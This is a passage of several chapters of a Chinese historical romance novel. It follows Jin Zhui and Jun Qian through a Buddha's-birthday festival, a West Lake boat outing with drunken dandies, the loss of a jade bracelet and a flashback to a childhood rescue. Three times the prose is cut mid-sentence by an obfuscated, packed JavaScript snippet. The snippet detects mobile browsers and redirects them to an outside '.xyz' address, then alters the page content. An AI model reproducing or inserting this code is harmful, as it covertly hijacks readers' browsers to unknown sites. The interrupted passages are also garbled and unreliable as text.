阿安见他们竟这般耍赖,不依不饶地抓住君迁: “那怎么行!书上说卿卿我我,你亲了她,哪有她不亲你的道理!” 君迁目中含笑,回眸望着金坠,正色道:“她怕羞,回家后会补给我的。” “就是!人家要亲也是回家去关上门来亲个够,要你瞎操什么心!” 阿泰在一边冲双胞胎姊姊做了个鬼脸。阿安瞪他一眼,一本正经地对金坠道: “愿赌服输,金姊姊欠了沈学士,可要说话算话!这是我们小寿星的生日愿望呢!对吧,寿娘?” 一旁的寿娘颇为严肃地点点头。金坠只感面上火烫,发烧一般,又不好叫小朋友失望,轻轻说了声“好”,低头拨弄着手里那枝山茱萸花。 这时寿娘母亲过来说水烧好了,唤女儿去洗药浴。金坠君迁见状起身告辞。寿娘恋恋不舍,金坠蹲下来摸了摸她冰凉的小脸,柔声道: “今日是浴佛节,沐浴了百草香汤,你的病马上就会好了。你和佛祖同一天生日,说不定也能成佛呢!” “是啊是啊,就像这样——天上地下,唯我独尊!” 阿泰在一旁直起身来,学着童佛塑像的姿势一手指天,一手指地,颇为神气。寿娘噗嗤一笑,垂下眼睛: “可我是女孩子,听说女儿家是成不了佛的……” 阿泰道:“那你可以做观音娘娘嘛!” 阿安白他一眼:“瞎说,观世音菩萨是男的!” 阿泰改口道:“那你可以做个仙女,就像嫦娥一样,只要能长命百岁就好!” 寿娘低下头去,轻轻说道:“我不想做仙女。天上又冷又无聊,长命百岁有什么好?我只想做我自己,能像现在这般和大家在一起,哪怕明天就要死了,我也很开心……” 阿泰急忙打断她:“胡说什么?你明天才不会死,后天也不会,永远都不会死!你若是死了,我也……” 男孩吸了吸鼻子,低着头不说话了。他姊姊轻叹一声,携着寿娘的手道:“水热了,快去洗澡吧,我们就在这里等你,等洗好了再一起斗花斗草!” 寿娘道:“花草都做成汤药了,拿什么斗呀?” 阿安笑道:“那就再去山上采呀!等你身子好了,我们一起出城玩儿,让沈学士陪我们将整座山的花草都采回来斗,那才有趣呢!” 寿娘闻言,粲然一笑,乖乖地跟母亲去洗药浴了。临行前回过身来,郑重地向着君迁和金坠施了一礼,糯声糯气道: “沈学士,金娘子,谢谢你们来看我。我永远不会忘记今天的!” 辞别寿娘母女和阿安阿泰姊弟,二人从茅草屋中走出,沿着来时的路走出小巷。一时无言。金坠小声问道: “那小娘子的病……当真会好么?” 君迁沉声道:“她体内的寒毒为天生所携,经年复发,难以根除。照此下去,寿数不会太长。” 金坠停下脚步:“她能活几岁?” 君迁沉默片刻:“应当不会超过二八。” 被母亲殷殷唤作寿娘的少女,注定无法得到恰如其名的幸福,在十六岁的年华便将猝然凋逝。就像那被人称作疗忧草的金色花,朝开夕便谢,自身结着苦短的忧愁,仍在夏风中露出明灿灿的笑颜。 金坠悲叹一声,抬头望着碧蓝如洗的晴空。似这般无忧的日子,她还能拥有几回呢? 拐出弄堂,孩儿巷闹市照旧熙熙攘攘,热闹非凡。每家货摊前都陈列着花色各异的摩睺罗泥人,更有闹竿、花篮、彩旗、糖鱼、粉饵等时新玩意儿。满大街孩童东奔西窜,嬉笑打闹,大人则在后头呼之不及,跌跌撞撞,堪比战场。 二人在人潮中蹒跚良久,终于走到了坊巷口,迎面又被一座戏棚挡住去路。笙鼓争鸣,正演着牵丝傀儡戏。佛诞日演的自是佛本生故事,各式木雕的神佛菩萨由伶人牵着粉墨登台,从割肉饲鹰演到普提觉悟,引得游人嬉集,观者如织。一场幕落,只听藏于幕后的傀儡戏子和着锣音高唱道: “堂前列位是活佛,何用灵山朝世尊。举头三尺有神明,苦海变作无忧地……” 金坠在人后冷笑一声,低低道: “倘若举头三尺真有神明,挥挥手便能将人世变作无忧乐土,他们为何只在戏台上逞威,却对眼皮底下的苦海视若无睹?” 万众喧哗,恶风浪一般覆住了她的声音。金坠冷眼斜睨着戏台上披着华彩的木头神佛,自语一般喃喃: “金刚怒目,菩萨低眉,不过像这上头所演,唱的皆是同一出戏——若他们遂人愿将世间的疾苦都消除了,人人安乐无忧,心无他念,谁来为他们的祭台供上贡品,他们如何维持统治凡尘的威严?” 君迁没说什么,只轻叹了一声。金坠背离人群转向他,继而神色恍惚地说道: “我时常觉得,世上许多事情皆是假,皆是谎。可是你看这些人,他们怎能这般热闹,这般快活,这般虔信,仿佛和我们不是活在同一个地方……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209182|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君迁沉默良久,注视着面前笑语欢声的人潮,温和而笃定地说道: “幼时,父亲曾告诉我,人生于世,当有此悟:既可随时死去,亦可长远地活下去;既不惧死,亦不惧生。我想,这些人过的便是这样的生活……我很敬佩他们。” 金坠睁大眼睛望着他:“记得一起去相国寺那回,我还嫌你愤世嫉俗呢,如今倒要你来宽慰我了。” 君迁抿了抿唇,正想说什么,戏台上幕帘重启,锣鼓震天,周遭鼓掌喝彩连连,掩盖了他的话语。但见那傀儡神佛千百度地登台,芸芸信众千百度地礼赞,天竺神迹千百度地轮回。八热地狱,清凉净土,无限生机,无尽死寂。 二人从观戏的人群中离开,慢慢走出闹市。来到巷口的一株古树下,金坠忽驻足俯身,在树根边捡起一物举到君迁面前。 那是一个残破的木雕小佛像,许是被傀儡戏班丢弃的。佛像周身浓重的华彩已斑驳殆尽,手脚皆有缺损,唯有面上微笑不灭,沉静地观望着眼前及自身所遭的成住坏空劫。 金坠捧着那破旧的雕像,仰起脸望向流于穹顶之上的白云,深吸一口气,俄而放声道: “神佛在上,请睁眼看看,你们造出了一个多么无情的世界,以及一群多么令人敬佩的世人啊!” 语毕,垂眸凝望着刚拾得的那尊木头小佛,将那旧木雕捧在掌心。 “真希望在那云端之上,亦有一位心慈的神。听见人世间的祈愿,会瞒着众神诸仙,悄悄地赐下幸福来,哪怕只有一点点儿……” 话音未落,君迁忽转身面向那株在风中轻摇的古树,双手合十于胸前,敛容正色地闭上眼。 “……你在做什么?”金坠问道。 “祈愿。”过了许久,他睁开眼,回身望向金坠,“向那位心慈的神明。” 金坠一怔:“他听见了么?” “我想他会听见的。”君迁莞尔一笑,“至少此刻。” 暖风拂拂,似一场细腻的潮落,将闹市喧鸣卷入尘海。天地万物宁静,此间唯余他们跳动的心音。四目相会,君迁面上浅淡的笑意已随风逝,眼底仍漾着如许清涟,粼粼闪闪映入她眸中,明晃晃的。 金坠一时如在梦中,只顾呆望着他。回过神时,竟已梦游一般紧贴着他,任由他周身药香萦绕;踮起脚尖,轻轻在他颊畔落下一吻。 “……欠你的。” 不待他反应过来,她将手里的木头小佛一把塞给他,扭头跑远了。 47.游画舫 浴佛节当晚回家后,金坠一句话都没和君迁说,慌不迭地跑回自己屋里睡下了。次日整整一天,更是大门不出二门不迈,只称要赶绣活,连饭都不肯出去吃。宛童信以为真,不敢扰她,只将三餐茶饭送到门口。哪里知道她关上了门,一会儿坐,一会儿站,一会儿对着铺了一桌的绣线发怔,心思竟比那打结的线团还乱呢。 令她心烦意乱的自是昨日那个吻。金坠冥思苦想,试图理清自己一团乱麻似的思绪。然任她如何努力,仍无法明白为何会那么做,最终只得归结于自己在佛诞日当众出言不敬,触怒神明,以至被下了降头,摄了魂去,头昏脑热,才会在街上主动亲他——都怪那聒噪的傀儡戏班子! 好在她和寿娘他们斗百草输了。有了借口,大可推脱是愿赌服输,履行对孩子们的诺言还他的——昨日不是他非要逞英雄主动代她受罚么?他若有自知之明,亦当装作无事发生,彼此仍如那纸契约上写好的互不相欠。 欠债还债,天经地义。论它是十金聘约还是一个吻。 思及此处,金坠笃定心神,决定剪断苦思,认真做工。取来一块已勾好线的绢布,打算绣幅买主定做的端午香草帕子。埋头穿针半晌,定睛一看,却见那绢面上零零星星地现出几朵小花,明黄点点,金雪似的悄然在白绢上晕开。 金坠一怔,想到昨日斗草时的种种,心中莫名又躁动起来,指着自己不经意绣下的那几朵小黄花嗔怪道: “什么黄金花,分明就是些不值钱的苦药!” 她将那块绣帕卷起,起身要去丢掉。踯躅片刻,又觉不忍,仿佛那绢布里真的夹了几朵刚从枝上采下的花儿。叹了口气,取来剪子,将那簇本不该被绣下的明黄小花剪下来,拈在眼前看着。无意之中,瞥到搁在案头的那本《本草图经》,便伸手取来。翻了良久,终于找到录有“山茱萸”的那一页。黄花红果印在黑白书页上,比长在山中更不起眼。金坠盯着那草药图呆看了片刻,顺手将刚剪下的一小块绣花夹入其中,重又合上书推到一边。 浴佛三日节休,君迁照样去了药局。当晚回来,金坠仍闭门不出,依旧一夜无话。 又过了一日,便到她的生辰了。这日也是母亲的祭日,金坠一早在故人的灵牌前上了香,忆及往事,心中难过,祭拜完便倒头卧回塌上。片刻宛童风风火火闯进来,笑道: “五娘今日过生日,怎还睡着?快些起来,让我替你打扮打扮,好漂漂亮亮地出去玩儿呢!” 金坠懒懒道:“生日而已,又不是升天了要出殡,打扮什么?” 宛童嗔道:“五娘说的什么话!以往在金府都不见你做过一次寿,好不容易出来了,可不得好好庆祝一番嘛!” 金坠一哂,瞥见她手里捧着只绸包,问道:“这是什么?” “这是四娘子寄来的贺礼,正好今早送到呢。四娘真好,也只有她年年都记得五娘的生日!” 宛童笑着将包裹递上。金坠接过拆开,见是几件精致的衣物首饰,夹有一封四姊金尘写来的家书。她展信读着,心中十分温暖。宛童在一旁逐一检视金尘的生日贺礼,赞叹半晌,嘟囔道: “说来沈郎去哪儿了?自家娘子过寿,他怎么一点表示也没有?” 金坠犹如被泼了盆冷水,冷冷道:“他不知道今天是我生日。” “定亲时看过生辰八字,他哪里会不知道?定是忘了!” “忘就忘吧,反正我也不知道他生日是几时。” 金坠冷笑一声,起身走到窗边,开窗深吸一口暮春明澄的空气:“今日老天赏面,天气倒挺好的。看来是该出去走走。” 宛童兴高采烈,抱着一摞四娘子寄来的新衣跑到金坠面前,比试半天,挑出一件金闪闪的薄绢印花夏褙子替她换上。又按着她到镜前涂脂抹粉,戴上新首饰,满意道:“这才像个寿星嘛!” 穿戴一新,正要出门,金坠忽返回塌边,从枕下摸出一物。母亲怀她时为她手绣的护身锦囊,天青色的软缎中间,五彩锦云细缕密缝地裹着一轮闪亮的银月。 皎皎云间月——被收养在金府、遵叔父母之命改了名后,这一针一线便是她仅留于世的本貌了。 二十二年前的今日,母亲将这只精致的锦囊佩在她胸前,止住了她的啼哭。母亲没能往其中塞什么珍宝,唯一留给她的仅是这只绣着她小名的护身福袋。她发誓只用来装最重要的东西。可是…… 金坠叹息一声,解开锦囊,取出那只翡翠手镯。宛童见了那只晃眼的镯子,不禁蹙眉道: “五娘许久未戴这镯子了吧?难得生日,换只新的戴吧……” 金坠并不回话,静静将那只清润欲滴的镯子戴在腕上,又将那空锦囊安放回枕下。玉身彻骨的冰凉渗透肌体,令她一时有些不适。她轻抚着刻在镯子内侧的“阿儡”二字,等待那冷玉慢慢被自身捂热,自言自语道: “的确许久未戴了。” 二人出了家门,信步在街上闲逛。江南初夏气候潮热,不一会儿便满身是汗。金坠本想就此打道回府,奈何宛童玩兴甚高,非拽着她去西湖。金坠拗不过她,只得叫了辆车,乘到了湖东南清波门一带。 清波门历来为杭城水门,水光清潋,直通湖堤,吸引不少文人墨客在此寓居。今日天光晴好,湖畔自少不得游人。极目远眺,但见湖中莲叶接天,层层叠叠,宛如绿浪翻滚;中有各式画舫舟楫徐徐穿梭,船上人不断探出身来,在水中寻找着早开的荷花。此情此景,惹得宛童在岸上待烦了,拉着金坠也要去游船。 金坠问道:“你不是晕船么?” 宛童自信道:“这儿又没有大风恶浪,晕不了!难得来了杭州,岂能不在西湖里坐一回船?听说此去湖心有座小岛,风光可好了,咱们上去玩儿吧!” 金坠笑道:“事事都依你,倒不知是谁过生日了!” 宛童见她答允,乐开了花,忙去码头找船。问了一圈,苦着脸回来,说是小舟都被人包完了,只有画舫。金坠哪儿有闲钱坐画舫,正想劝宛童算了,一旁忽有个熟悉的声儿传来,娇娇滴滴,正是她的好邻居罗盈袖。宛童也发现了熟人,指着她对金坠道: “五娘快瞧,那不是罗娘子吗?她是不是遇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226398|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦了?船上那伙人可不像善茬呢……” 金坠望去,只见盈袖提着个鱼篮子站在一艘双层十样锦画舫边,正同一班纨绔子弟拉拉扯扯,纠缠不休。金坠岂能坐视不理,忙上前护住盈袖,厉声道: “你们想做什么?” 那班纨绔见她来救美,哪有半分收敛,指着盈袖嬉笑道: “这位小娘子要去湖心岛上放生锦鲤鱼,正愁租不到船,崔衙内好心邀她搭咱们的船一道去,她又不乐意了!罗娘子到底来不来?不来咱们可就先发船了!” 盈袖见他们要走,又有些急了。金坠拽住她劝道:“盈袖,别同他们去。” 那班纨绔见盈袖犹犹豫豫,纷纷起哄道: “罗娘子,昨日我有个朋友去了西泠同心楼,说是在那儿碰到你家梁大官人,正挽着那头牌鱼鸢儿卿卿我我哩!” “好哇,难怪这大好的浴佛佳节,不见他陪自家娘子出来游湖,竟让你这位鱼篮观音孤零零地一个人,连条船都搭不上!” “他那没良心的竟敢冷落佳人,咱们可不敢。罗娘子放心,船上应有尽有,绝不会亏待了你!” 盈袖闻言,柳眉倒竖,冷笑道:“去就去,有什么大不了!”遂回身对金坠道,“坠姊姊放心,我去去便回。” 金坠还想再劝,那班纨绔又冲她挤眉弄眼道:“不知这位娘子是何方佳人?可否赏个脸,陪罗娘子一道来船上做做客?” 盈袖冷冷道:“她家郎君可是帝京来的御医,劝你们放尊重些!” 话音未落,只听一个公鸭嗓自那高头画舫上传来: “莫非是沈学士的夫人?在下曾慕名去药局找尊夫开过药方,不愧是帝京来的皇家御医天子门生,仁心仁术,药到病除!我还没好生答谢他呢!” 说话的人从船上走下,优哉游哉地踱到那伙帮闲身前。不高的个头裹满绫罗绸缎,头上还簪了朵红花,不用说正是那崔衙内。他将手中羽扇一收,欠身向金坠唱了个喏,笑道: “正巧邂逅了夫人,还望赏光移步鄙船上做做客,定叫夫人不虚此行,权当报答尊夫妙手回春的恩情了!” 金坠见他这幅嘴脸,只想扭头就走。但见盈袖去意已决,恐她一人应付不了,想了一想,皮笑肉不笑地对崔衙内道: “如此甚好,我刚从帝京来杭州,还不曾坐船游过西湖呢!但愿诸位懂得待客之道,否则我夫君可放心不下呢。” 那公鸭嗓衙内笑道:“夫人放心,在下定会管教好这帮游手好闲的,一会儿哪个无礼的得罪了夫人,将他丢进湖里喂鱼便是!” 金坠暗暗翻了个白眼,回身低嘱宛童:“你在岸边等我,我陪盈袖上这贼船去。” 宛童拽住她:“五娘怎么明知船有贼,非向贼船行呐!不行,我得陪你一块儿……” 金坠苦笑:“若真是艘贼船,你一个晕船的上去了又有何用?不如守在这儿,一会儿若迟不见我们回来,你再去叫人,好么?” 宛童说不过她,只得放她上船了。盈袖见金坠不惜留下陪自己,感激地携了她的手千谢万谢。 48.风波恶 二人随崔衙内登上他那艘双层十样锦画舫,但见此间雕梁画栋,华丽雅靓。筵席应用之具一应俱全,还有侍女美姬玲珑环伺,伴着两岸湖光轻歌曼舞,旖旎非常。 崔衙内不敢怠慢来客,请她们入席饮酒,闲话不休。金坠一口没吃,只说要透透风,兀自携了盈袖走到二层甲板上去。崔衙内手下的一班纨绔子弟岂耐得住寂寞,一并跟上来,围着她们嬉笑道: “百年修得同船渡,百年修得共枕眠!咱们无福与二位佳人同床共枕,可得好生珍惜这同舟共渡的机遇哩!” 金坠懒得搭理他们,冷冷道:“这船开得好慢呐!还有多久才到湖心岛?” 崔衙内笑道:“又不是在赛龙舟,夫人何必心急?这番湖光山色需得慢慢儿欣赏嘛!” 金坠指着盈袖手里的一篮锦鲤鱼道:“待你们慢慢赏完了景,她篮子里的鱼都死光了,还拿什么去放生?” 崔衙内伸手一指:“夫人莫急,你看这已过了三潭映月,再一会儿便到岛上了!” 金坠向湖面望去,只见水中有三座模样相同的石塔鼎足而立,塔身中空,内有五个小圆孔。崔衙内遥指着那三塔道: “可惜我们来错了辰光。若是中秋夜在此月下泛舟,便可同时看见三十三个月亮的奇景,正好是观音菩萨的三十三个化身哩!” 盈袖好奇道:“哪来三十三个?” 崔衙内道:“圆月映潭,分塔为三。三座塔上共有十五个洞,可映照出十五个月亮。算上倒影,共计三十个。还要加上天上一个,水里一个。” 盈袖扳着手指:“那也只有三十二个,还有一个呢?” “还有一个嘛……”崔衙内狡黠一笑,“自是娘子心上的那个!” 盈袖啐了他一口,撇过脸去。崔衙内见冷了场,又道:“莫看此刻青天白日,若到了月圆之夜,这湖心三潭岛一带可是要闹鬼的哩!” 盈袖道:“闹什么鬼?” 崔衙内向身后的帮闲使了个眼色。那人旋即上前来,压低音量道: “据说曾有个尼姑动了凡心,和人私奔后又不好了,便在这湖心岛上投湖自尽了。此后每到月圆之夜,湖底下便会传来女子边哭边敲木鱼忏悔的声音。不瞒娘子们,有一回子夜我同朋友在此泛舟赏月,当真听见了那尼姑边念佛边哭,吓得险些翻船哩!” 那人煞有介事地说完,本指望能吓到她们,却听金坠淡淡道:“是吗?那真是太可怜了。” 盈袖颔首:“是啊,真可怜!她本要修成正果却折在这孽缘上,就同那白蛇娘子一般,真不值当!男人果然没一个好东西!” 金坠冷笑道:“别处话本上都是才子佳人,怎么发生在这西湖边上,女的要么是妖,要么是鬼,男的要么是负心汉,要么是书呆子,尽是始乱终弃收场?可见是这水土的缘故。与其在此谈情说爱,倒不如出家去来得快活!” 那帮闲嗤笑:“那都是些吓唬小孩的鬼话,不作数的!娘子们若想在这西子湖畔求段好姻缘,何必看什么话本,待到了湖心岛上,咱们寻片幽林互诉衷肠,岂不是现成的佳话?” 众纨绔闻言,纷纷嬉笑附会,面露轻佻,言不及义。眼见湖心岛将近,一拥而上,要替盈袖去提鱼篮子,借机轻薄。盈袖拉扯不过他们,又气又急,几乎要哭出来了。金坠上前一把夺过鱼篮,怒斥道: “抢什么抢?当心同这些鱼一道去水底下作伴!” 众人笑道:“鱼水之欢,岂不美哉?娘子何不同去水里游戏游戏?” 说着便要去拽她。崔衙内见他们不知收敛,咳嗽了几声提醒,却并不奏效。拉扯之际,只听甲板后头一阵喧哗,原是个纨绔喝醉了酒,搂着个歌女纠缠不清。另一个端着酒杯跑来,醉醺醺地在船上横冲直撞,见了金坠,竟没眼力见地扑将过去。 金坠吓了一遭,飞身避开。那醉鬼却直追而来,满口污言秽语。金坠情急,顺手从鱼篮中抓出一条鱼向他砸去。众纨绔见状笑道: “好一个鱼篮观音!你们谁能背得出佛经,或可请菩萨舍身点化一番,好成一段美谈哩!” “我会背,我会背!观音娘娘且听:观世音菩萨,即时观其音声,皆得解脱……若有持是观世音菩萨名者,设入大火,火不能烧。若为大水所漂,称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246654|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其名号,即得浅处。若有……若有……”【1】 “若有百千万亿众生,入于大海,假使黑风吹其船舫,飘堕罗刹鬼国。其中若有一人,称观世音菩萨名者,是诸人等,皆得解脱罗刹之难。以是因缘,名观世音……”【2】 众纨绔借着酒意,七嘴八舌地念起《普门品》,个个嬉皮笑脸,围观那醉鬼满船追着金坠跑。金坠走投无路,边跑边从鱼篮里抓出鱼来,一条接一条砸过去。只见各色锦鲤鱼在船上腾空而起,跃龙门失败般摔了遍地,将这豪华画舫折腾得一片狼藉。那一班人见状愈发新鲜,起哄声一浪高过一浪,几乎要将船掀翻了。 盈袖见状在一旁直跺脚,快急哭了。崔衙内恐得罪了金坠,亲自上前阻拦,奈何那醉鬼体型肥硕,发起狂来,岂是他这小身板拦得住的;信手一推,崔衙内便应声倒地,蹬着腿直呼作孽。 众帮闲闹得正欢,才发现他们的主子同一船活蹦乱跳的金鱼儿一道在甲板上打滚,忙上前搀扶。崔衙内一脚踹开他们,扯着公鸭嗓指向那满船穷追金坠的醉鬼: “管我作甚,还不快去将那癫子扣住!这要闹到我爹耳朵里,我跳进西湖都洗不清!” 众人赶忙上前。忽地一阵风浪袭来,船身剧烈颠簸,甲板上的人皆是一颤。金坠被那醉鬼逼到舷边,一个趔趄倚在了桅杆上。那醉鬼趁势捉住她的胳膊,瞧见她腕上那只晶莹的翡翠镯子,两眼放光,便要伸手去摘。 金坠岂能让他染指这爱物,当即拼命挣脱。风浪拍船,只听一记清响,那只翡翠镯子在拉扯中从她腕上脱下,落在了甲板边缘。 金坠惊呼一声,俯身去拾。提篮中最后的那条鱼儿却受了惊,挣扎着从篮中跳出,甩着尾儿跃下船舷,将那只镯子扫入湖里,搅起一叠清涟—— 玉石的清光与鱼鳞的金光在正午艳阳下交相辉映。一霎时光华大炽,耀人眼目,须臾隐没于万顷波涛中。 风过浪平,万籁归寂。金坠凭栏呆望着碎镜般粼粼重圆的水面,刹那间如神魂出窍,纵身跃下船舷。 注释: 【1】【2】《妙法莲华经观世音菩萨普门品》 49.南国玉(上) 金坠不明白一切是如何发生的。残存的意念似一块巨石,拖着她的身躯坠入水中,又被乱发般的荇藻死死缠住,几近窒息。 冰冷的湖水猛灌入七窍,恍惚之间,只见湖心的三座石塔无言耸立,仰之如三座须弥高山镇压于身。不明来处的光亮自天而降,透照过三塔身上的圆环,在湖水中投下三十三个月轮似的倒影。 寂静水声之中,耳闻一个梵呗似的低音沉沉念诵:“生死为海。三宝为船。众生皈依。即登彼岸……” 在那许多个皎洁的月影之中,是那枚翡翠玉镯。清凛凛的寒光雪刃一般穿透水底的黑暗,似将斩杀三千沉沦恶业。那光洁引人不假思索地伸出手去,仿佛其便是天边之月的真如实相。 金坠竭力向着那光环而去,几近唾手可得,却抓了个空。这梦魇似的感触她曾切身经历过的。此刻,在她的肉身无助地沉入水底时,沉寂日久的回忆却似离魂轻烟浮出水面。她再次回到了许多年前的那一天—— 都说人将死之际,眼前将如转鹭灯般掠过一生中最难忘的幸福场景。对她而言,那样的日子屈指可数。在那些泥沼般晦暗的过往岁月之中,十四岁那年的生日,便是此刻唯一浮现的画面。只是那光辉流溢的至幸时刻有着一个至暗的开幕。 八年前的今日,金坠方满十四。本是她及笄成人之日,却险些成为生命中的最后一日。 那日正巧叔母族中有新生儿办满月酒,一家人倾巢而出,便推迟了她的及笄礼。她求之不得,待叔母和姊姊们前脚一出门,她便背上早已打好的行囊,从后门溜出府去。临行前,偷潜入长姊金幸屋中,取出她高搁在妆匣里的一对如意金镯。 那金镯子是宫里的时新造物,价值不菲,足以作她一路去往蜀地为母亲扫墓的盘缠。她将那对镯子藏在身上,反复告诉自己,她只是拿回了本属于自己的东西。 她的生日亦是母亲的祭日。六岁那年母亲病逝,金家将她的棺木送回千里之外的娘家,金坠从未去为母亲祭扫过。每岁的生辰,她都是独自在这冷冰冰的金府过的。每长一岁,她都在母亲灵牌前立誓,及笄成人之年,定要攒得路费离开金府,独自去蜀地看望母亲。 受母亲教导,她自幼绣得一手好花。随着年岁增长,绣技日渐娴熟,她四处打听,终于觅到个变现的门路——那年浴佛节前,她不眠不休地绣了几幅供佛小画,私下托一位常来府上走动的婆子替她去市上售卖,好赚些钱去蜀地祭母。孰知此事被长姊金幸发觉,指责她竟让自己的女红针线流露到街市上去待价而沽,丢了她们名门闺秀的脸面。 金坠唯恐长姊将此事昭告天下,害她在叔母那里遭骂,只得将苦心凝成的绣画悉数上缴,安慰自己来日方长,总有时机。浴佛节当日,她随家中女眷一同去相国寺参拜。正值先太后凤驾至皇家国寺礼佛,一众命妇贵女盛装竞艳,才艺纷呈。太后出题命她们比拼绣活,金坠无心参与,只冷冷躲在人后。待评选作品时,赫然只见甲等一栏中悬挂着自己日夜赶制的那幅供佛绣画——画前站着的却是笑盈盈的长姊金幸。 金坠一言不发,闷声归家,连夜打包好了行囊。后日生辰一到,便卷了包袱出府。临走前,毫不犹豫地从长姊屋里取来了那对太后赏赐的内廷新造如意金镯,揣在兜里上了路。 她自幼寄人篱下,终于在及笄之年逃离深闺,思母心切,并不惧怕前路。蜀地距帝京千里之遥,她出城时向人探听了方向,便斗志昂扬地独自上了路。预备按图索骥先走一段,待身上的零钱花完,再典当那对金镯子当盘缠。 初夏时节,城外草木葱茏。她像只刚出巢的脱兔,蹦跳着独行在郊野小道上,身心被前所未有的自由气息包裹,不由轻唱起歌儿。不觉夕阳西下,暮色四合。她兜兜转转却寻不到一家客栈,才发觉自迷了路。 她已走了一日,腿脚酸痛,渐生忧惧,担心自己永远到不了蜀地。蹒跚半晌,天已全黑,前方一潭溪水阻隔了去路。她想洗把脸,便蹲在一块滩石上俯身汲水。不料弯腰之时,揣在怀中的那块裹布落水散开,一对金镯子应声入水,须臾便被急流卷走了。 金坠大惊失色,慌忙下水去追。入夜后水流湍急,脚下又黑又滑,那两只镯子何曾还看得见影。她顺着水流而去,苦寻许久,水势愈高,渐漫过腰身。山中夜风骤起,她渐渐精疲力尽,几乎无法自持。脚下蓦地一绊,便觉冰冷的溪水猛灌入口鼻。心灰意冷,两眼一黑,任由自己被急流裹向远方。 当她再次睁开眼时,只见一轮渐盈的银月高悬天际,耀人眼目。月下有个身影,面容隐于如水清辉之中,似藏于溪间的白石般看不真切。她恍惚以为自己到了尘世彼岸,遇见了祭神诗中的白石郎君,一霎时如释重负——但她很快醒悟过来,那不是真的神明。 她回过神,发现自己躺在溪边的青草地上,浑身湿透,瑟瑟发抖。身上盖着件月白披风,稍许阻挡了寒意。她挣扎着坐起来,一阵猛呛,吐出好些冷水。救下她的那人见她醒了,微微俯身在侧,柔声对她说了些什么。 她没听清他的话,借着月光望向他,见他一袭赶路装束,周身风尘仆仆,唯面庞纤尘不染。看模样稍长她几岁,容止之中浸染着远胜年岁的沉静,一双眼睛却是天真的。 她总觉得曾在何处见过他,却想不起来,便只怔怔地盯着他瞧。他并不感到冒犯,落落大方地回望着她,眼底暗藏善意的好奇,仿佛凝视一样刚从水下国度捞上来的奇物。她才想起为了去捡金镯子失足落水的一番遭遇,只觉前路无望,不如一死,悻悻质问他: “你何必救我?我本要寻死的!” 他并不见怪,淡淡一笑:“你知道么?这是一潭千年灵泉。你在此轻生,神佛会伤心的。” 她只觉他此言好笑,冷冷道:“我不信。神佛当真怜我,便不会看着我落到这里。” 他正色道:“神佛怜你,故而令我救了你啊。” 金坠一愣,无 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“此去山中有一座古刹,我正要前去借宿。你若愿意,不妨随我同去敬香求告。神佛慈悲,定会赐福于你。” 他言毕向她伸出手。金坠分明不相信他的话,却鬼使神差地握住了这个陌生人的手。指尖的触感凉如冰雪,她霎时缩回了手。她不知是因为自己刚落水冻得发抖的缘故,还是他的手本身便那么冷。 “抱歉……我有四逆之症。” 他向她致歉,转身唤来静立其后的一位侍从模样的青年,让他搀扶起尚虚弱的金坠。她这才发现他们一行有两人两骑,前头一匹白马鞍上驮着只精美的黑檀木匣,不知装着什么。 主仆二人许是连日赶路,衣衫之上布满尘埃,却难掩举止言谈间的文雅气息。金坠只听到他们互称为“宇文”和“郎君”,大约出身帝京哪户官宦人家。 二人略略交谈,侍从宇文新点起一盏明灯,牵着那驮着木匣的白马走在前头。那陌生郎君将自己的坐骑让给了金坠,缓步在前执辔引路,沿着草木幽深的月下野径向那座无名孤山而去。许是为了驱散旅途的枯寂,他取出随身所携的一件用六枚小竹管编制成的乐器,捧在唇边吹奏起来。 那音色奇异极了,像是某种高亢空灵的鸟鸣,并非尘世所有,而是天外神灵所化。曲调乍听欢跃,暗藏忧伤,有一种南荒边地的神秘意蕴,好似一个徘徊的幽魂在月下倾诉往事。 金坠从未听过这样曼妙的音乐,不禁沉醉其中。她乘在鞍上,如在梦中,任由那奏乐之人牵向前路。不知过了多久,月过中天,他们终于在林中一座古老的石砌山门前驻足。 初夏夜色清幽,山间林叶簌簌轻拂,莺啼虫鸣嘒嘒如歌。山门寺壁之上笼着一层斑驳银辉,映照出海浪似的婆娑树影,恍如世外。 金坠仰头望去,漫天星月之下,“寂照寺”三字映入眼帘。 50.南国玉(下) 侍从宇文轻叩寺门,木扉在月下吱扭而开,一位和善的比丘尼掌灯而来。原来这是一座古老的尼寺。 